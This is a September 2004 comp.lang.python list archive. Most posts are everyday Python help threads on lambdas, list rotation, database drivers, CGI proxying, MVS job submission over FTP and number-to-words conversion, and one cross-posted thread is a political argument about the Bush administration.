comprehensions? Yup! Don't try to horn in on my lucrative channelling business, but Guido has already said that's The Plan for Python 3000. Historically, listcomps got in before generators (let alone gencomps), and I think Guido must have misplaced one of the time machine power cells during his move to California. From cbfalconer at yahoo.com Wed Sep 8 13:59:40 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Wed, 08 Sep 2004 17:59:40 GMT Subject: Xah Lee's Unixism References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> Message-ID: <413F43AC.9D2088AF@yahoo.com> jmfbahciv at aol.com wrote: > Alan Balmer <albalmer at att.net> wrote: >> CBFalconer <cbfalconer at yahoo.com> wrote: >>> Alan Balmer wrote: >>>> >>>... snip ... >>>> >>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle >>>> disaster(s) is somewhat over the top. Why not blame President >>>> Bush? That's the popular thing nowadays. >>> >>> Alright, if you insist. But is it really necessary? We can find >>> adequate charges without reaching very hard. >> >> Then why are so many people reaching so hard? > > It's apparently having the desired effect. The subject of > the radio talk show last night was about the results of a poll > where 41% of the people asked (New York state residents) believed > that Bush and Co. knew that the WTC was going to be attacked and > did nothing to prevent it. The Bush-bashing is working. The > Democrats are opening the city gates to the barbarians. I deplore your tast in radio talk shows. It doesn't take much to create a rabble rousing poll to increase ratings. There is no need, nor cause, to impute Bush & Co. with intrinsically evil intentions. It is quite enough to point to their lack of capability, and bull headed 'revenge for daddy' propensities. The state of the economy, unemployment, poverty rate, medical care, deficit, death rate in Iraq (both of Americans and Iraqis), abandonment of the Bin Laden hunt, abridgement of civil liberties (as in the Patriot Act and the Gitmo gulag), poor choice of companions (Halliburton and other political donors and trough feeders, and the 'plausible deniability' of the Swiftboat gang), irritation of allies, inability to deal with North Korea (due to involvement with useless adventures), abandonment of efforts towards a Palestinian peace, all spring to immediate mind. Yes, we have had no experience with a Kerry administration, but we have had far too much experience with a Bush administration. -- "I'm a war president. I make decisions here in the Oval Office in foreign policy matters with war on my mind." - Bush. "If I knew then what I know today, I would still have invaded Iraq. It was the right decision" - G.W. Bush, 2004-08-02 From michele.simionato at gmail.com Thu Sep 23 09:40:47 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 23 Sep 2004 06:40:47 -0700 Subject: for_some(), for_all()? References: <opseqmpvg86yt6e7@news.cisco.com> <cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05> Message-ID: <4edc17eb.0409230540.624e463a@posting.google.com> "Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<2Pt4d.5569$sa.1897 at trndny05>... > > > > http://www.python.org/doc/current/lib/itertools-example.html > > > > >>> import itertools, timeit, operator > > > >>> def any(seq, pred=bool): > > ... "Returns True if pred(x) is True at least one element in the > > iterable" > > ... return True in imap(pred, seq) > > I chose that one for the docs because it gave the best balance of clarity and > speed. > I always wondered why "any" and "all" are given as recipes but are not part of the itertools module. What is the rationale? I think they are so common that they deserve to be in the module. At least, we would have standard names. Michele Simionato From olli at haluter.fromme.com Thu Sep 16 10:07:20 2004 From: olli at haluter.fromme.com (Oliver Fromme) Date: 16 Sep 2004 14:07:20 GMT Subject: "Updating" lambda functions Message-ID: <2qtl0oF139gn6U1@uni-berlin.de> Hi, I'm trying to write a Python function that parses an expression and builds a function tree from it (recursively). During parsing, lambda functions for the the terms and sub-expressions are constructed on the fly. Now my problem is lazy evaluation. Or at least I think it is. :-) I need to "update" a lambda function, like this: fu = lambda x: x ... fu = lambda x: fu(x) + 17 ... fu = lambda x: fu(x) * 3 Of course that doesn't work, because fu is resolved when the lambda is called, not when it's defined, so I'll run into an endless recursion. My current solution is to define a helper function which passes the lambda through its argument: def add_17 (fu): return lambda x: fu(x) + 17 def mul_3 (fu): return lambda x: fu(x) * 3 fu = lambda x: x ... fu = add_17(fu) ... fu = mul_3(fu) That works, but it strikes me as unclean and ugly. Is there a better way to do it? Best regards Oliver -- Oliver Fromme, Konrad-Celtis-Str. 72, 81369 Munich, Germany ``All that we see or seem is just a dream within a dream.'' (E. A. Poe) From ljelmore_ at _comcast_._net Fri Sep 3 22:32:49 2004 From: ljelmore_ at _comcast_._net (Larry Elmore) Date: Sat, 04 Sep 2004 02:32:49 GMT Subject: Xah Lee's Unixism In-Reply-To: <ii8_c.17015$aB1.9921@twister.socal.rr.com> References: <YLednXSn7obciqrcRVn-og@powergate.ca> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <uzn47qezk.fsf@mail.comcast.net> <rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com> <vG6_c.16947$aB1.13654@twister.socal.rr.com> <bluhj0p6rvrmdrftvrsno9e8vis6mfgvp3@4ax.com> <ii8_c.17015$aB1.9921@twister.socal.rr.com> Message-ID: <lP9_c.123404$mD.5253@attbi_s02> Gary Schenk wrote: > In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote: > >>On Fri, 03 Sep 2004 22:58:35 GMT, gwschenk at fuzz.socal.rr.com (Gary >>Schenk) wrote: >> >> >>>In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote: >>><snip> >>> >>>>I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) >>>>is somewhat over the top. Why not blame President Bush? That's the >>>>popular thing nowadays. >>>> >>> >>>IIRC, the vice-president is in charge of the space program, so shouldn't >>>President Bush accept some blame? >> >>The Vice President isn't "in charge" of the space program, except for >>Al Gore, who probably invented it. >> > > > Don't you dittoheads ever get your facts right? > > http://www.jfklibrary.org/images/jfk-lbj01.jpg > > http://www.americaslibrary.gov/cgi-bin/page.cgi/jb/modern/launch_1 > > http://www.thespacereview.com/article/163/1 > > >>The shuttles were designed and built some considerable time before >>Bush became President. >> > > > True, although the first shuttle flight was in 1981, while Bush was vice- > president. > > As the above references show, Bush was not head of the space council > as Reagan was not a fan. Bush was busy selling anthrax and missiles > to Iran and Iraq. > > >>Good try, though, the DNC would be proud. >> > > > I doubt it. Well, I would hope not. You're even contradicting yourself in the same post, while at the same time admitting that your references don't support you. Must've skipped those classes in logic, huh? --Larry From matt at pollenation.net Fri Sep 10 04:20:38 2004 From: matt at pollenation.net (Matt Goodall) Date: Fri, 10 Sep 2004 09:20:38 +0100 Subject: Postgresql - Preferred Python Library In-Reply-To: <Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116> References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> <Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116> Message-ID: <1094804438.20733.27.camel@debian> On Fri, 2004-09-10 at 06:28 +0000, Harald Massa wrote: > > I have noticed that there are a numbe rof client libraries for > > connecting to Postgres. > > Can anyone tell me what is the recommended Python library for database > > connections I've just started experimenting with psycopg2 (http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good. As far as I know, psycopg2 is the only DB-API 2.0 implementation for PostgreSQL that uses Python 2.3's datetime types by default. In fact, I think it supports *all* native Python types that have a corresponding database type. For me, this makes a big difference. I find moving data from RDBMS to application to RDBMS quite irritating and it just makes matters worse when I have to convert between data types too. Assuming I don't come across any serious issues, I will be using psycopg2 from now on. (I also use dateutil, <https://moin.conectiva.com.br/DateUtil>, which extends datetime with lots of useful stuff. So useful, it should probably be part of the standard library.) > > I recommend pyPgSQL - http://pypgsql.sourceforge.net/ > > it gives you high level (DBAPI2) and if you wish also low level access > (libpq) > > Twisted seems to use it, to. Twisted's adbapi will use any DB-API 2.0 implementation with a threadsafety level of 1 or greater. I have tested one application with pypgsql, pygresql, psycopg and psycopg2. Twisted was happy with all of them, although differences in how python and column types are handled means the application code is not necessarily portable by default. See <http://twistedmatrix.com/documents/current/howto/enterprise> for more information on using an RDMBS from a Twisted application. Cheers, Matt -- __ / \__ Matt Goodall, Pollenation Internet Ltd \__/ \ w: http://www.pollenation.net __/ \__/ e: matt at pollenation.net / \__/ \ t: +44 (0)113 2252500 \__/ \__/ / \ Any views expressed are my own and do not necessarily \__/ reflect the views of my employer. From exarkun at divmod.com Fri Sep 3 10:54:03 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 10:54:03 -0400 Subject: print with no newline In-Reply-To: <2prebbFo67agU1@uni-berlin.de> References: <2prasrFo4rruU1@uni-berlin.de> <mailman.2834.1094220495.5135.python-list@python.org> <2prebbFo67agU1@uni-berlin.de> Message-ID: <4138858B.6040501@divmod.com> Paul Watson wrote: > "Jp Calderone" <exarkun at divmod.com> wrote in message > news:mailman.2834.1094220495.5135.python-list at python.org... > >>Paul Watson wrote: >> >>>I thought that using a comma at the end of a print statement would > > suppress > >>>printing of a newline. Am I misunderstanding this feature? How can I > > use > >>>print and not have a newline appended at the end? >>> >> >> Print doesn't want to leave the *final* line without a newline. >>sys.stdout.write() doesn't care if your shell prompt gets mixed in with >>the last line of output. You'll need to use the latter if that's what >>you want. >> >>exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')" >>hereexarkun at boson:~$ >> >> Jp > > > Ok, I can use sys.stdout.write(). Still, this comma at the end thing does > not seem very consistent. Before the last line, while it does suppress the > newline, a space is still added to the output. Why is that? Yes, I have > seen spaces added between items in the print statement and, while it is > probably convenient at times, is frequently an annoyance. Basically, print is only meant to help people new to the language get started ;) It often does what will make life easiest for someone who is just getting into things, but which is otherwise confusing, expected, special-casey, or otherwise undesirable. I mean, the whole existence of the keyword "print" is an inconsistency, right? One could quite reasonably expect print to be a function. Jp From fumanchu at amor.org Wed Sep 15 18:26:07 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 15 Sep 2004 15:26:07 -0700 Subject: Rotating lists? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EDE@exchange.hqamor.amorhq.net> Ivan Voras wrote: > I need to transform this: > > [1,2,3] > > into this: > > [2,3,1] > > (a left-rotation. Actually, any rotation will do). > > I tried: > > a = a[1:] + a[0] > > which doesn't work because there's no __add__ between a list and > integer, and: > > a = a[1:].append(a[0]) > > but it doesn't work, since append returns None :( Right now, > I'm doing > it with a temporary variable and it looks ugly - is there an > elegant way > of doing it? Odd that you would use a slice for only half of it. Did you try: >>> def rotleft(seq): ... return seq[1:] + seq[:1] ... >>> rotleft([1,2,3]) [2, 3, 1] ? There are issues with such a simple function (mostly how to deal with corner cases), but that should be the piece you're missing. Robert Brewer MIS Amor Ministries fumanchu at amor.org From fuzzyman at gmail.com Mon Sep 13 08:53:18 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 13 Sep 2004 05:53:18 -0700 Subject: CGI.FieldStorage to HTML References: <41454367$0$22811$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: <6f402501.0409130453.224c2c58@posting.google.com> "Graeme Matthew" <graeme.matthew at contrado.com.au> wrote in message news:<41454367$0$22811$5a62ac22 at per-qv1-newsreader-01.iinet.net.au>... > Hi all > > I do a CGI post, I am using CGI.FieldStorage(), I obtain the values etc al > works fine. > > I now need to take the same posted data and resubmit it to a remote server > i.e I need to rebuild the entire raw html request. > > Does anyone know if you can retrieve the entire request string before > parsing it via the cgi module? and then resubmit this to another server? > > > Cheers > > Graeme Before I waffle - os.environ['QUERY_STRING'] is probably the answer you want !! I've been implementing a cgi proxy recently which does exactly this. Unfortunately I haven't been able to find a way to get the entire http request and just proxy that because the server 'parses' it puts a lot of it into the environment. (For example any authentication headers it's impossible to retrieve from the CGI environment). I'm doing just what you said though and rebuilding the request from the FieldStorage and environment variables. At the moment I'm only proxying the User-Agent headers, although I might do a few more later though (HTTP_REFFERER etc). You can see where I've got to with http://www.voidspace.org.uk/atlantibots/pythonutils.html#cgiproxy Doing 'GET' method requests is *easy*. Rebuilding 'POST' method requests is a bit more complicated. The code I have so far will do all requests except file uploads (I'm working on at the moment - will be ready soon) and I haven't tested it with list values (might work... might not). I've also just got my head around authentication (error 401 BASIC authentication and am half way through writing the code to implement it). Something you might find useful is my http_test.py CGI. This shows you all the environment variables etc when you fetch a url - useful for working out what information you have available to you. (See http://www.voidspace.org.uk/atlantibots/recipebook.html#http I *think* - which also has a demo online). The following chunk of code shows you which environemnt variable to use to get the query string from 'GET' type requests. if os.environ.get('REQUEST_METHOD','').lower()=='post': # do something with post data thedata = fullparse(form) from urllib import urlencode txdata = urlencode(thedata) # straightforward encode - need to test for/allow multipart form data (file upload) and list types elif os.environ.get('QUERY_STRING', '') and not data['id']=='mjf-approx': theurl = theurl + '?' + os.environ['QUERY_STRING'] txheaders = getheaders(txheaders) # proxy as many of the headers as we can don't worry about most of the code - but the following : if os.environ.get('REQUEST_METHOD','').lower()=='get': querystring = os.environ.get('QUERY_STRING', '') should do most of what you need........... (os.environ is a dictionary containing the environment variables). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From aahz at pythoncraft.com Tue Sep 7 18:30:31 2004 From: aahz at pythoncraft.com (Aahz) Date: 7 Sep 2004 18:30:31 -0400 Subject: Automated Perl to Python translation? References: <b16e4ef7.0409040550.4432a70f@posting.google.com> <6e07b825.0409052154.7a654c12@posting.google.com> Message-ID: <chlcq7$j23$1@panix2.panix.com> In article <6e07b825.0409052154.7a654c12 at posting.google.com>, yaipa h. <yaipa at yahoo.com> wrote: > >don't know but there is a book out. > Perl to Python Migration > by Martin C. Brown Not particularly useful. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From janimal at mail.trillegaarden.dk Tue Sep 28 18:12:30 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Wed, 29 Sep 2004 00:12:30 +0200 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <ZJadnSMpP7XiCsTcRVn-oA@comcast.com> Message-ID: <4159e1a1$0$23084$ba624c82@nntp05.dk.telia.net> Thanks for all your help, I really appreciate it, its very interesting to start programming but at times a bit confusing :D I read all your input, and clap my hands for this friendly newsgroup :D Stay safe.... "Larry Bates" <lbates at syscononline.com> wrote in message news:ZJadnSMpP7XiCsTcRVn-oA at comcast.com... > Ling Lee wrote: >> Hello. >> >> I'm trying to write a small program that lets you put in a number as an >> integer and then it tells you the textuel representation of the number. >> >> Like if your input is 42, it will say four two. >> >> I found out that I have to make a dictionary like this: List = { 1:"one", >> 2:"two" and so on ) >> >> and I have to use the raw_input method to get the number: >> >> indput : raw_input(" Tell me the number you want to transform to textuel >> representaion") >> >> The I have to transform the input to a string >> indput = str(indput) >> >> so that I can count how many decimals the number has, like 23 has 2 >> decimals and 3000 has 4 decimals. >> >> After I have gotten the lenght of the string, I will write a loop, that >> goes through the dictionary as many times as the lengt of the string, and >> the gives me the corresponding numbers, the numner 21 would go 2 times >> through the loop and give me the output two one >> >> Will one of you be so kind and tell me how I count the lengt of the >> indput number i was thinking on something like input.count[:] but that >> dosnt work... >> >> and how I make the loop. >> >> Im trying to understand dictionaries but have gotten a bit stuck... >> >> Thanks for all replies.... >> >> >> > Here's an example of what you want: > > """ Just run it, you'll see what it does. > > This code is released into the public domain absolutely free by > http://journyx.com > as long as you keep this comment on the document and all derivatives of > it. > > """ > > def getfractionwords(num): > frac = num-int(num) > numstr = str(int(frac*100+.5)) > if len(numstr) == 1: > numstr = '0'+numstr > fracstr = ' and ' + numstr + '/100' > return fracstr > > def convertDigit(digit): > digits = ('', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', > 'Seven', 'Eight', 'Nine') > return digits[int(digit+.5)] > > def breakintochunks(num): > (left,right) = breakintwo(num) > rv = [right] > while left > 999: > (left,right) = breakintwo(left) > rv.append(right) > rv.append(left) > rv.reverse() > return rv > > def breakintwo(num): > leftpart = int(num/1000.0)+0.0 > rightpart = 1000.0*(num/1000.0 - leftpart) > return (int(leftpart+.5),int(rightpart+.5)) > > def enties(num): > tens = ('','','Twenty' ,'Thirty', 'Forty', 'Fifty', 'Sixty', > 'Seventy', 'Eighty', 'Ninety') > indx = int(num/10.0) > return tens[indx] > > def convert2digit(num): > teens = ('Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen', > 'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', > 'Nineteen') > if num < 10: > return convertDigit(num) > if num <20: > return teens[num-10] > if num > 19: > tens = enties(num) > ones = convertDigit(10*(num/10.0-int(num/10.0))) > if ones: > rv= tens+'-'+ones > else: > rv=tens > return rv > > def convert3digit(num): > threenum = str(num) > ln = len(threenum) > if ln==3 : > a= convertDigit(int(threenum[0])) > b= ' Hundred ' > c= convert2digit(int(threenum[1:])) > return a+b+c > if ln<3 : > return convert2digit(int(threenum)) > raise 'bad num',num > > def num2words(num): > thousandchunks = breakintochunks(int(num)) > rv = ' ' > if num >= 1000000: > rv=rv+ convert3digit(thousandchunks[-3])+ ' Million ' > if num >= 1000: > c3d= convert3digit(thousandchunks[-2]) > if c3d: > rv=rv+ c3d+ ' Thousand ' > rv = rv + convert3digit(thousandchunks[-1])+ getfractionwords(num) > return squishWhiteSpace(rv) > > def squishWhiteSpace(strng): > """ Turn 2 spaces into one, and get rid of leading and trailing > spaces. """ > import string,re > return string.strip(re.sub('[ \t\n]+', ' ', strng)) > > def main(): > for i in range(1,111,7): > print i,num2words(i) > > for i in (494.15, 414.90, 499.35, 400.98, 101.65, 110.94, \ > 139.85, 12349133.40, 2309033.75, 390313.41, 99390313.15, > \ > 14908.05, 10008.49, 100008.00, 1000008.00, 100000008.00, > \ > 14900.05, 10000.49, 100000.00, 1000000.00, 100000000.00, > 8.49): > print i,num2words(i) > > import whrandom > for i in range(33): > num = whrandom.randint(1,999999999) + > whrandom.randint(1,99)/100.0 > print num,num2words(num) > > if __name__ == '__main__': > main() From clifford.wells at comcast.net Thu Sep 16 18:58:17 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Thu, 16 Sep 2004 15:58:17 -0700 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <1gk8bjf.zfmy6fh6vv7nN%aleaxit@yahoo.com> References: <dcf37d82.0409160827.1de98db9@posting.google.com> <1gk8bjf.zfmy6fh6vv7nN%aleaxit@yahoo.com> Message-ID: <1095375497.31957.135.camel@devilbox.devilnet.internal> On Thu, 2004-09-16 at 23:33 +0200, Alex Martelli wrote: > If wxPython has problems they lie elsewhere... I was just trying to > install bittorrent on a Linux box tonight, and bittorrent requires > wxPython, so I _did_ just go through the very messy and lengthy build > process (./configure-make-sudo make install only does the wxWidgets > part, then you have to edit config.py before you run python setup.py to > build -- and the docs explaining this are quite lengthy)... only to find > in the end that bittorrent just doesn't like the current release of > wxPython, crashing loudly pretty soon. I guess incompatible changes > have been made, or programming errors, or something. Guess I should try > again with another, older, stable release of wxPython, but it's a bit > late to restart tonight. Most likely it requires wxPython 2.4.x. 2.5.x, while recommended, is considered the development branch and there have been a few incompatible changes made (although most of them can be easily worked around iirc. Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From listserver at tdw.net Tue Sep 21 18:07:15 2004 From: listserver at tdw.net (Tim Williams) Date: Tue, 21 Sep 2004 23:07:15 +0100 Subject: OT: regex to find email Message-ID: <000901c4a027$5aa5f1d0$ccbefea9@twilliams> "Jorgen Grahn" <jgrahn-nntq at algonet.se> wrote in message news:<slrncl18gl.s1l.jgrahn-nntq at frailea.sa.invalid>... > On Tue, 21 Sep 2004 10:03:03 -0500, Josh Close <narshe at gmail.com> wrote: > > I've been trying to find a good regex to parse emails, but haven't > > found any to my liking. I basically need to have > > > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > > > but the first part can't start with .-_ and the last part has to have > > a . in it (first/last being before/after the @). > > I've seen no references to RFC 2822 in this thread ... please note that what > all these regexes catch is unlikely to be exactly the set of all valid RFC > 2822 addresses. > > A quick look suggests (among other things) that addresses may start with '-' > or '_' and /lots/ of other characters, and the domain part does not (of > course) need to contain a '.'. > > People get more than annoyed when some input form tells them that their > email address is invalid ... Absolutely, rfc2822 supercedes rfc822, and its rules should be what you base your regex on. I also believe any character is valid in the user part as long as its within "...." , and that the user part can be 1char or longer. From chrisNOSPAM at spam.com Mon Sep 13 09:41:22 2004 From: chrisNOSPAM at spam.com (Chris) Date: Mon, 13 Sep 2004 15:41:22 +0200 Subject: launching JCL on MVS References: <1095065818.428799@ftpgate> <mailman.3230.1095079924.5135.python-list@python.org> Message-ID: <1095082883.249188@ftpgate> Thanks, but what does it do? Upload test.jcl and execute it? Let's say that I already have a "TEST" JCL on the HOST, how can I execute it via an FTP command? Chris "Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news: mailman.3230.1095079924.5135.python-list at python.org... > Disclaimer - I've never used ftplib, so the code below hasn't actually > been tested.. > > First, create some JCL. For this example assume it is test.jcl and it > is in the CWD. > > # Connect to the server > >>> from ftplib import FTP > >>> ftp = FTP("hostname") # connect to host, default port > >>> ftp.login("username", "password") > > # Tell the server you're about to send it some JCL to execute > >>> ftp.voidcmd( "quote site file=JES" ) > > # Upload the JCL > >>> print ftp.storlines( "STOR", file("test.jcl") ) > > The last command ought to print ought the Job ID (and a few other things). > > Good luck and let me know if that works for you. Also, some of those > methods will raise exceptions if something goes wrong. Check out > ftplib.py for good documentation. > > jw > > On Mon, 13 Sep 2004 10:56:57 +0200, Chris <chrisnospam at spam.com> wrote: > > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST (OS390) ? > > > > -- > > http://mail.python.org/mailman/listinfo/python-list > > From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 30 07:54:55 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Thu, 30 Sep 2004 13:54:55 +0200 Subject: Test html Message-ID: <415bf448$0$21152$8fcfb975@news.wanadoo.fr> Bonjour ! Hi ! Juste un test de message en HTML, dans usenet. Try HTML in usenet. Mini-script python (print process / win32) : import win32com.client wmihandle = win32com.client.GetObject('winmgmts:') process_list = wmihandle.ExecQuery('Select * from Win32_Process') for p in process_list: detail=p.GetObjectText_().split('\n') for ligne in detail: if ligne[0:1]!='{' and ligne[0:1]!='}': l=ligne.split('=') if len(l)>=2: item=l[0][1:-1] valeur=l[1][2:-2] print item,"=",valeur print"-"*70 @-salutations -- Michel Claveau m?l : http://cerbermail.com/?6J1TthIa8B -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040930/1e7ed063/attachment.html> From exarkun at divmod.com Fri Sep 3 10:05:43 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 10:05:43 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <864d370904090306333b53ef56@mail.gmail.com> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> Message-ID: <41387A37.9000805@divmod.com> Carlos Ribeiro wrote: > Mostly agreed. There is an inconsistence, as sorted() and reversed() > should return both the same type of result - be it a sequence or a > iterator. > > I propose a slightly different approach. First, proposing a generic > naming scheme for built-ins is an ambitious goal, to say the least. I > suggest to keep the focus on this particular issue, if only to avoid a > lot of debate and flaming. So -- keeping in mind my own suggestion -- > I would like to focus on the particular case at hand: > > 1) sorted() and reversed() should return sequences. So sorted() stays > like it, and reversed() meaning is changed. Now, that could > potentially break a lot of code, but probably this is not going to > happen -- because in most situations, reversed() is getting called They are new. There is no reason to worry about breaking compatibility. Why sequences and not iterators? I would prefer the latter, and it is in keeping with many other recent language developments (generator comprehensions, itertools module, etc). > > 2) add two new builtins, called respectively xsorted() and > xreversed(), as the iterator versions of sorted() and reversed(). This > way we keep the existing naming convention for range() and xrange(). -1. The "x" prefix means "this is a hack". xrange() will become range() in Python 3.0. The xreadlines module is deprecated already. Jp From bokr at oz.net Thu Sep 16 20:07:42 2004 From: bokr at oz.net (Bengt Richter) Date: 17 Sep 2004 00:07:42 GMT Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: <cibkl1$395$07$1@news.t-online.com> <pan.2004.09.17.12.13.11.143566@jerf.org> <05n2d.2048$0i5.1135@newsread3.news.pas.earthlink.net> Message-ID: <cid9se$iof$0$216.39.172.122@theriver.com> On Thu, 16 Sep 2004 20:55:24 GMT, Andrew Dalke <adalke at mindspring.com> wrote: >Jeremy Bowers wrote: >> What possible counter-arguments could be brought to bear? >> >> All-the-keywords-should-be-Unicode-Chinese-ly yrs, > >Traditional or simplified? > > :) Is that a di-glyph suggestion? (IOW, why a _single_ character to replace '@' ?) Regards, Bengt Richter From davecook at nowhere.net Sun Sep 12 22:39:29 2004 From: davecook at nowhere.net (David Cook) Date: Mon, 13 Sep 2004 02:39:29 GMT Subject: java References: <6712b7e.0409102159.42cd71d4@posting.google.com> Message-ID: <slrncka231.g1g.davecook@david-cooks-computer.local> On 2004-09-11, Demo <demobudda at yahoo.com> wrote: > What computer science concepts can I learn from Java and not from Python? Access control (e.g. private, public, protected). There's also a certain pleasure in actually getting things to work in Java, somewhat like the pleasure, I imagine, of building ships in bottles. And I have to say there are some really nice open source Java projects like Hibernate. Dave Cook From quaggy at gmail.com Thu Sep 16 20:41:55 2004 From: quaggy at gmail.com (Jonathan Wright) Date: 16 Sep 2004 17:41:55 -0700 Subject: Is this a bug in the windows tempfile.py? In-Reply-To: <4149373e$0$13011$9b622d9e@news.freenet.de> Message-ID: <cidbsj$hi5@odak26.prod.google.com> Thanks Martin. I came across a bug in mod_python which was due to mod_python relying on the result of tempfile.TemporaryFile() to be a FileType. The more I think about it, the more the checks in mod_python are just plain wrong. Jonathan. From mailtome200420032002 at yahoo.com Sat Sep 18 01:08:15 2004 From: mailtome200420032002 at yahoo.com (john) Date: 17 Sep 2004 22:08:15 -0700 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> <414a9787@pfaff2.ethz.ch> Message-ID: <4c900ea0.0409172108.5ed8b24d@posting.google.com> Josef Meile <jmeile at hotmail.com> wrote in message news:<414a9787 at pfaff2.ethz.ch>... > I think the best way to develop such product is by using an external > database to store the data (for the zope interaction, you can use an > existent Zope Database Adapter - See the zope book for more info), doing > the interfaces with ZPT (Zope's Page Templates -> Don't use DTML), and > coding the logic on a python based product (forget about ZClasses) > But doing it this way is same as doing in php or any other framework like cherrypy .How does zope help me? >From my understanding I think in zope we have to develop Zclasses for objects not already available which in this application can be timesheet etc.... Am I right?? Also how zope helps me to implement different kind of access level for users(admin,apprver,employee)or I have to resort to plain old relational database for it too?? From __peter__ at web.de Sun Sep 5 10:55:44 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 05 Sep 2004 16:55:44 +0200 Subject: simple question References: <mailman.2895.1094395204.5135.python-list@python.org> Message-ID: <chf9dh$hg8$07$1@news.t-online.com> Ajay wrote: > self.logger.error("Illegal date index, " str(dateIndex)) I think you meant self.logger.error("Illegal date index ", str(dateIndex)) error(fmt, arg1, arg2, ..., argN) is just a convenient alternative to error(fmt % (arg1, arg2, ..., argN)) Therefore self.logger.error("Illegal date index %s", dateIndex) or self.logger.error("Illegal date index " + str(dateIndex)) should both work. Peter From grante at visi.com Mon Sep 20 11:48:01 2004 From: grante at visi.com (Grant Edwards) Date: 20 Sep 2004 15:48:01 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3534.1095656825.5135.python-list@python.org> <0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com> Message-ID: <414efbb1$0$60631$a1866201@newsreader.visi.com> On 2004-09-20, Andrea Griffini <agriff at tin.it> wrote: > This is from the Bible... > > 007:023 And he made a molten sea, ten cubits from the one brim to the > other: it was round all about, and his height was five cubits: > and a line of thirty cubits did compass it round about. > > So it's clear that pi must be 3 If you've only got 1 significant digit in your measured values, then Pi == 3 is a prefectly reasonable value to use. -- Grant Edwards grante Yow! Why is everything at made of Lycra Spandex? visi.com From martin at v.loewis.de Fri Sep 17 15:52:23 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 21:52:23 +0200 Subject: smtplib (111, 'Connection refused') In-Reply-To: <mailman.3467.1095448992.5135.python-list@python.org> References: <mailman.3467.1095448992.5135.python-list@python.org> Message-ID: <414b4074$0$24870$9b622d9e@news.freenet.de> Josh Close wrote: > I'm using the smtplib module and I keep getting this error: (111, > 'Connection refused') What could be causing this? This means there is no SMTP server running on the remote 